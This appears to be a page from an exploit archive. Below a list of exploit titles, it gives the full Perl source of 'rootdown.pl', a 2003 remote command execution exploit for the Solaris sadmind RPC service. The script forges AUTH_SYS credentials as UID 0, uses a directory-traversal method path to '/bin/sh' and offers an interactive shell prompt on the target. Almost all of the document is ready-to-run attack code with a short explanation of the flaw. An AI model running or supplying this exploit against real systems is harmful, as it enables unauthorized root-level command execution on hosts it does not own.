477bcbdcc0
5 new exploits phpMyNewsletter <= 0.8 (beta5) - Multiple Vulnerability Exploit phpMyNewsletter <= 0.8 (beta5) - Multiple Vulnerabilities My Book World Edition NAS Multiple Vulnerability My Book World Edition NAS - Multiple Vulnerabilities Katalog Stron Hurricane 1.3.5 - Multiple Vulnerability RFI / SQL Katalog Stron Hurricane 1.3.5 - (RFI / SQL) Multiple Vulnerabilities cmsfaethon-2.2.0-ultimate.7z Multiple Vulnerability cmsfaethon-2.2.0-ultimate.7z - Multiple Vulnerabilities DynPG CMS 4.1.0 - Multiple Vulnerability (popup.php and counter.php) DynPG CMS 4.1.0 - (popup.php and counter.php) Multiple Vulnerabilities Nucleus CMS 3.51 (DIR_LIBS) - Multiple Vulnerability Nucleus CMS 3.51 (DIR_LIBS) - Multiple Vulnerabilities N/X - Web CMS (N/X WCMS 4.5) Multiple Vulnerability N/X - Web CMS (N/X WCMS 4.5) - Multiple Vulnerabilities New-CMS - Multiple Vulnerability New-CMS - Multiple Vulnerabilities Edgephp Clickbank Affiliate Marketplace Script Multiple Vulnerability Edgephp Clickbank Affiliate Marketplace Script - Multiple Vulnerabilities JV2 Folder Gallery 3.1.1 - (popup_slideshow.php) Multiple Vulnerability JV2 Folder Gallery 3.1.1 - (popup_slideshow.php) Multiple Vulnerabilities i-Gallery - Multiple Vulnerability i-Gallery - Multiple Vulnerabilities My Kazaam Notes Management System Multiple Vulnerability My Kazaam Notes Management System - Multiple Vulnerabilities Omnidocs - Multiple Vulnerability Omnidocs - Multiple Vulnerabilities Web Cookbook Multiple Vulnerability Web Cookbook - Multiple Vulnerabilities KikChat - (LFI/RCE) Multiple Vulnerability KikChat - (LFI/RCE) Multiple Vulnerabilities Webformatique Reservation Manager - 'index.php' Cross-Site Scripting Vulnerability Webformatique Reservation Manager 2.4 - 'index.php' Cross-Site Scripting Vulnerability xEpan 1.0.4 - Multiple Vulnerability xEpan 1.0.4 - Multiple Vulnerabilities AKIPS Network Monitor 15.37 through 16.5 - OS Command Injection Netwrix Auditor 7.1.322.0 - ActiveX (sourceFile) Stack Buffer Overflow Cisco UCS Manager 2.1(1b) - Shellshock Exploit OpenSSH <= 7.2p1 - xauth Injection FreeBSD 10.2 amd64 Kernel - amd64_set_ldt Heap Overflow
429 lines
13 KiB
Perl
Executable file
429 lines
13 KiB
Perl
Executable file
#!/usr/bin/perl -w
|
|
##################
|
|
|
|
##
|
|
# Title: rootdown.pl
|
|
# Purpose: Solaris Remote command executiong via sadmind
|
|
# Author: H D Moore hdm at metasploit.com
|
|
# Copyright: Copyright (C) 2003 METASPLOIT.COM
|
|
##
|
|
|
|
|
|
use strict;
|
|
use POSIX;
|
|
use IO::Socket;
|
|
use IO::Select;
|
|
use Getopt::Std;
|
|
|
|
my $VERSION = "1.0";
|
|
my %opts;
|
|
|
|
getopts("h:p:c:r:iv", \%opts);
|
|
|
|
if ($opts{v}) { show_info() }
|
|
|
|
if (! $opts{h}) { usage() }
|
|
|
|
my $target_host = $opts{h};
|
|
|
|
my $target_name = "exploit";
|
|
|
|
my $command = $opts{c} ? $opts{c} : "touch /tmp/OWNED_BY_SADMIND_\$\$";
|
|
my $portmap = $opts{r} ? $opts{r} : 111;
|
|
|
|
|
|
##
|
|
# Determine the port used by sadmind
|
|
##
|
|
|
|
my $target_port = $opts{p} ? $opts{p} : rpc_getport($target_host, $portmap, 100232, 10);
|
|
|
|
if (! $target_port)
|
|
{
|
|
print STDERR "Error: could not determine port used by sadmind\n";
|
|
exit(0);
|
|
}
|
|
|
|
##
|
|
# Determine the hostname of the target
|
|
##
|
|
|
|
my $s = rpc_socket($target_host, $target_port);
|
|
my $x = rpc_sadmin_exec($target_name, "id");
|
|
print $s $x;
|
|
my $r = rpc_read($s);
|
|
close ($s);
|
|
|
|
if ($r && $r =~ m/Security exception on host (.*)\. USER/)
|
|
{
|
|
$target_name = $1;
|
|
} else {
|
|
print STDERR "Error: could not obtain target hostname.\n";
|
|
exit(0);
|
|
}
|
|
|
|
|
|
##
|
|
# Execute commands :)
|
|
##
|
|
|
|
|
|
my $interactive = 0;
|
|
|
|
if ($opts{i}) { $interactive++ }
|
|
|
|
do {
|
|
|
|
if ($opts{i}) { $command = command_prompt() } else
|
|
{
|
|
print STDERR "Executing command on '$target_name' via port $target_port\n";
|
|
}
|
|
|
|
$s = rpc_socket($target_host, $target_port);
|
|
$x = rpc_sadmin_exec($target_name, $command);
|
|
print $s $x;
|
|
$r = rpc_read($s);
|
|
close ($s);
|
|
|
|
if ($r)
|
|
{
|
|
# Command Failed
|
|
if (length($r) == 36 && substr($r, 24, 4) eq "\x00\x00\x00\x29")
|
|
{
|
|
print STDERR "Error: something went wrong with the RPC format.\n";
|
|
exit(0);
|
|
}
|
|
|
|
# Command might have failed
|
|
if (length($r) == 36 && substr($r, 24, 4) eq "\x00\x00\x00\x2b")
|
|
{
|
|
print STDERR "Error: something may have gone wrong with the sadmind format\n";
|
|
}
|
|
|
|
# Confirmed success
|
|
if (length($r) == 36 && substr($r, 24, 12) eq ("\x00" x 12))
|
|
{
|
|
print STDERR "Success: your command has been executed successfully.\n";
|
|
}
|
|
|
|
if (length($r) != 36) { print STDERR "Unknown Response: $r\n" }
|
|
|
|
} else {
|
|
print STDERR "Error: no response recieved, you may want to try again.\n";
|
|
exit(0);
|
|
}
|
|
|
|
} while ($interactive);
|
|
|
|
exit(0);
|
|
|
|
sub usage {
|
|
print STDERR "\n";
|
|
print STDERR "+-----==[ rootdown.pl => Solaris SADMIND Remote Command Execution\n\n";
|
|
print STDERR " Usage: $0 -h <target> -c <command> [options]\n";
|
|
print STDERR " Options:\n";
|
|
print STDERR " -i\tStart interactive mode (for multiple commands)\n";
|
|
print STDERR " -p\tAvoid the portmapper and use this sadmind port\n";
|
|
print STDERR " -r\tQuery alternate portmapper on this UDP port\n";
|
|
print STDERR " -v\tDisplay information about this exploit\n";
|
|
|
|
print STDERR "\n\n";
|
|
exit(0);
|
|
}
|
|
|
|
sub show_info {
|
|
|
|
print "\n\n";
|
|
print " Name: rootdown.pl\n";
|
|
print " Author: H D Moore <hdm\@metasploit.com>\n";
|
|
print "Version: $VERSION\n\n";
|
|
|
|
# not finsihed :)
|
|
print
|
|
"This exploit targets a weakness in the default security settings
|
|
of the sadmind RPC application. This application is installed and
|
|
enabled by default on most versions of the Solaris operating
|
|
system.\n\n".
|
|
|
|
"The sadmind application defaults to a weak security mode known as
|
|
AUTH_SYS (or AUTH_UNIX under Linux/BSD). When running in this mode,
|
|
the service will accept a structure containing the user and group
|
|
IDs as well as the originating system name. These values are not
|
|
validated in any form and are completely controlled by the client.
|
|
If the standard sadmin RPC API calls are used to generate the request,
|
|
the ADM_CLIENT_HOST parameter is filled in with the hostname of the
|
|
client system. If the RPC packet is modified so that this field is
|
|
set to the hostname of the remote system, it will be processed as
|
|
if it was a local request. If the user ID is set to zero or the
|
|
value of any user in the sysadmin group, it is possible to call
|
|
arbitrary methods in any class available to sadmind.\n\n".
|
|
|
|
"If the Solstice AdminSuite client software has not been installed,
|
|
the only class available is 'system', which only contains a single
|
|
method called 'admpipe'. The strings within this program seem to
|
|
suggest that it can be used run arbitrary commands, however I chose
|
|
a different method of command execution. Since each method is simply
|
|
an executable in the class directory, it is possible to use a
|
|
standard directory traversal attack to execute any application.
|
|
We can pass arguments to these methods using the standard API.
|
|
|
|
An example of spawning a shell which executes the 'id' command:
|
|
|
|
# apm -c system -m ../../../../../bin/sh -a arg1=-c arg2=id\n\n".
|
|
|
|
"To exploit this vulnerability, we must create a RPC packet that
|
|
calls the '/bin/sh' method, passing it the parameter of the command
|
|
we want to execute. To do this, packet dumps of the 'apm' tool
|
|
were obtained and the format was slowly mapped. The hostname of
|
|
the target system must be known for this exploit to work, however
|
|
when sadmind is called with the wrong name, it replies with a
|
|
'ACCESS DENIED' error message containing the correct name. The
|
|
final code does the following:
|
|
|
|
1) Queries the portmapper to determine the sadmind port
|
|
2) Sends an invalid request to sadmind to obtain the hostname
|
|
3) Uses the hostname to forge the RPC packet and execute commands
|
|
|
|
|
|
This vulnerability was reported by Mark Zielinski and disclosed by iDefense.
|
|
|
|
Related URLs:
|
|
|
|
- http://www.idefense.com/advisory/09.16.03.txt
|
|
- http://docs.sun.com/db/doc/816-0211/6m6nc676b?a=view
|
|
";
|
|
|
|
|
|
|
|
|
|
|
|
exit(0);
|
|
}
|
|
|
|
sub command_prompt {
|
|
select(STDOUT); $|++;
|
|
|
|
print STDOUT "\nsadmind> ";
|
|
my $command = <STDIN>;
|
|
chomp($command);
|
|
if (! $command || lc($command) eq "quit" || lc($command) eq "exit")
|
|
{
|
|
print "\nExiting interactive mode...\n";
|
|
exit(0);
|
|
}
|
|
return ($command)
|
|
}
|
|
|
|
sub rpc_socket {
|
|
my ($target_host, $target_port) = @_;
|
|
my $s = IO::Socket::INET->new
|
|
(
|
|
PeerAddr => $target_host,
|
|
PeerPort => $target_port,
|
|
Proto => "udp",
|
|
Type => SOCK_DGRAM
|
|
);
|
|
|
|
if (! $s)
|
|
{
|
|
print "\nError: could not create socket to target: $!\n";
|
|
exit(0);
|
|
}
|
|
|
|
select($s); $|++;
|
|
select(STDOUT); $|++;
|
|
nonblock($s);
|
|
return($s);
|
|
}
|
|
|
|
sub rpc_read {
|
|
my ($s) = @_;
|
|
my $sel = IO::Select->new($s);
|
|
my $res;
|
|
my @fds = $sel->can_read(4);
|
|
foreach (@fds) { $res .= <$s>; }
|
|
return $res;
|
|
}
|
|
|
|
sub nonblock {
|
|
my ($fd) = @_;
|
|
my $flags = fcntl($fd, F_GETFL,0);
|
|
fcntl($fd, F_SETFL, $flags|O_NONBLOCK);
|
|
}
|
|
|
|
sub rpc_getport {
|
|
my ($target_host, $target_port, $prog, $vers) = @_;
|
|
|
|
my $s = rpc_socket($target_host, $target_port);
|
|
|
|
my $portmap_req =
|
|
|
|
pack("L", rand() * 0xffffffff) . # XID
|
|
"\x00\x00\x00\x00". # Call
|
|
"\x00\x00\x00\x02". # RPC Version
|
|
"\x00\x01\x86\xa0". # Program Number (PORTMAP)
|
|
"\x00\x00\x00\x02". # Program Version (2)
|
|
"\x00\x00\x00\x03". # Procedure (getport)
|
|
("\x00" x 16). # Credentials and Verifier
|
|
pack("N", $prog) .
|
|
pack("N", $vers).
|
|
pack("N", 0x11). # Protocol: UDP
|
|
pack("N", 0x00); # Port: 0
|
|
|
|
print $s $portmap_req;
|
|
|
|
my $r = rpc_read($s);
|
|
close ($s);
|
|
|
|
if (length($r) == 28)
|
|
{
|
|
my $prog_port = unpack("N",substr($r, 24, 4));
|
|
return($prog_port);
|
|
}
|
|
|
|
return undef;
|
|
}
|
|
|
|
|
|
sub rpc_sadmin_exec {
|
|
|
|
my ($hostname, $command) = @_;
|
|
my $packed_host = $hostname . ("\x00" x (59 - length($hostname)));
|
|
|
|
|
|
my $rpc =
|
|
pack("L", rand() * 0xffffffff) . # XID
|
|
"\x00\x00\x00\x00". # Call
|
|
"\x00\x00\x00\x02". # RPC Version
|
|
"\x00\x01\x87\x88". # Program Number (SADMIND)
|
|
"\x00\x00\x00\x0a". # Program Version (10)
|
|
"\x00\x00\x00\x01". # Procedure
|
|
"\x00\x00\x00\x01"; # Credentials (UNIX)
|
|
# Auth Length is filled in
|
|
|
|
# pad it up to multiples of 4
|
|
my $rpc_hostname = $hostname;
|
|
while (length($rpc_hostname) % 4 != 0) { $rpc_hostname .= "\x00" }
|
|
|
|
my $rpc_auth =
|
|
# Time Stamp
|
|
pack("N", time() + 20001) .
|
|
|
|
# Machine Name
|
|
pack("N", length($hostname)) . $rpc_hostname .
|
|
|
|
"\x00\x00\x00\x00". # UID = 0
|
|
"\x00\x00\x00\x00". # GID = 0
|
|
"\x00\x00\x00\x00"; # No Extra Groups
|
|
|
|
|
|
$rpc .= pack("N", length($rpc_auth)) . $rpc_auth . ("\x00" x 8);
|
|
|
|
my $header =
|
|
|
|
# Another Time Stamp
|
|
reverse(pack("L", time() + 20005)) .
|
|
|
|
"\x00\x07\x45\xdf".
|
|
|
|
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
|
|
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x06".
|
|
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
|
|
"\x00\x00\x00\x04\x00\x00\x00\x00\x00\x00\x00\x04".
|
|
|
|
"\x7f\x00\x00\x01". # 127.0.0.1
|
|
"\x00\x01\x87\x88". # SADMIND
|
|
|
|
"\x00\x00\x00\x0a\x00\x00\x00\x04".
|
|
|
|
"\x7f\x00\x00\x01". # 127.0.0.1
|
|
"\x00\x01\x87\x88". # SADMIND
|
|
|
|
"\x00\x00\x00\x0a\x00\x00\x00\x11\x00\x00\x00\x1e".
|
|
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
|
|
"\x00\x00\x00\x00".
|
|
|
|
"\x00\x00\x00\x3b". $packed_host.
|
|
|
|
"\x00\x00\x00\x00\x06" . "system".
|
|
|
|
"\x00\x00\x00\x00\x00\x15". "../../../../../bin/sh". "\x00\x00\x00";
|
|
|
|
# Append Body Length ^-- Here
|
|
|
|
my $body =
|
|
"\x00\x00\x00\x0e". "ADM_FW_VERSION".
|
|
"\x00\x00\x00\x00\x00\x03\x00\x00\x00\x04\x00\x00".
|
|
"\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00".
|
|
|
|
"\x00\x00\x00\x08". "ADM_LANG".
|
|
"\x00\x00\x00\x09\x00\x00\x00\x02\x00\x00".
|
|
"\x00\x01". "C" .
|
|
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
|
|
|
|
"\x00\x00\x00\x0d". "ADM_REQUESTID".
|
|
"\x00\x00\x00\x00\x00\x00\x09\x00\x00\x00\x12\x00\x00\x00\x11".
|
|
"0810:1010101010:1"."\x00\x00\x00".
|
|
"\x00\x00\x00\x00\x00\x00\x00\x00".
|
|
|
|
"\x00\x00\x00\x09". "ADM_CLASS".
|
|
"\x00\x00\x00\x00\x00\x00\x09\x00\x00\x00\x07".
|
|
"\x00\x00\x00\x06" . "system" .
|
|
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
|
|
|
|
|
|
"\x00\x00\x00\x0e" . "ADM_CLASS_VERS" .
|
|
"\x00\x00\x00\x00\x00\x09\x00\x00\x00\x04".
|
|
"\x00\x00\x00\x03". "2.1".
|
|
"\x00\x00\x00\x00\x00\x00\x00\x00\x00".
|
|
|
|
|
|
"\x00\x00\x00\x0a" . "ADM_METHOD" .
|
|
"\x00\x00\x00\x00\x00\x09\x00\x00\x00\x16".
|
|
"\x00\x00\x00\x15". "../../../../../bin/sh" .
|
|
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
|
|
|
|
"\x00\x00\x00\x08". "ADM_HOST" .
|
|
"\x00\x00\x00\x09\x00\x00\x00\x3c\x00\x00\x00\x3b".
|
|
$packed_host.
|
|
|
|
"\x00\x00\x00\x00\x00\x00\x00\x00\x00".
|
|
"\x00\x00\x00\x0f". "ADM_CLIENT_HOST".
|
|
"\x00\x00\x00\x00\x09".
|
|
|
|
pack("N", length($hostname) + 1) .
|
|
pack("N", length($hostname)) .
|
|
$rpc_hostname .
|
|
"\x00\x00\x00\x00". "\x00\x00\x00\x00".
|
|
|
|
"\x00\x00\x00\x11" . "ADM_CLIENT_DOMAIN".
|
|
"\x00\x00\x00\x00\x00\x00\x09\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00".
|
|
"\x00\x00\x00\x00\x00\x00".
|
|
|
|
"\x00\x00\x00\x11" . "ADM_TIMEOUT_PARMS".
|
|
"\x00\x00\x00\x00\x00".
|
|
"\x00\x09\x00\x00\x00\x1c".
|
|
"\x00\x00\x00\x1b" . "TTL=0 PTO=20 PCNT=2 PDLY=30".
|
|
"\x00\x00\x00\x00\x00\x00\x00\x00\x00".
|
|
|
|
|
|
"\x00\x00\x00\x09" . "ADM_FENCE" .
|
|
"\x00\x00\x00\x00\x00\x00\x09\x00\x00\x00\x00\x00\x00\x00\x00\x00".
|
|
"\x00\x00\x00\x00\x00\x00\x01\x58\x00\x00\x00\x00\x00\x00\x09\x00".
|
|
"\x00\x00\x03\x00\x00\x00\x02" . "-c" .
|
|
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x59\x00".
|
|
"\x00\x00\x00\x00\x00\x09\x00\x00\x02\x01\x00\x00\x02\x00".
|
|
|
|
$command . ("\x00" x (512 - length($command))).
|
|
|
|
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x10".
|
|
"netmgt_endofargs";
|
|
|
|
my $res = $rpc . $header . pack("N", (length($body) + 4 + length($header)) - 330) . $body;
|
|
|
|
return($res);
|
|
}
|
|
|
|
|
|
|
|
# milw0rm.com [2003-09-19]
|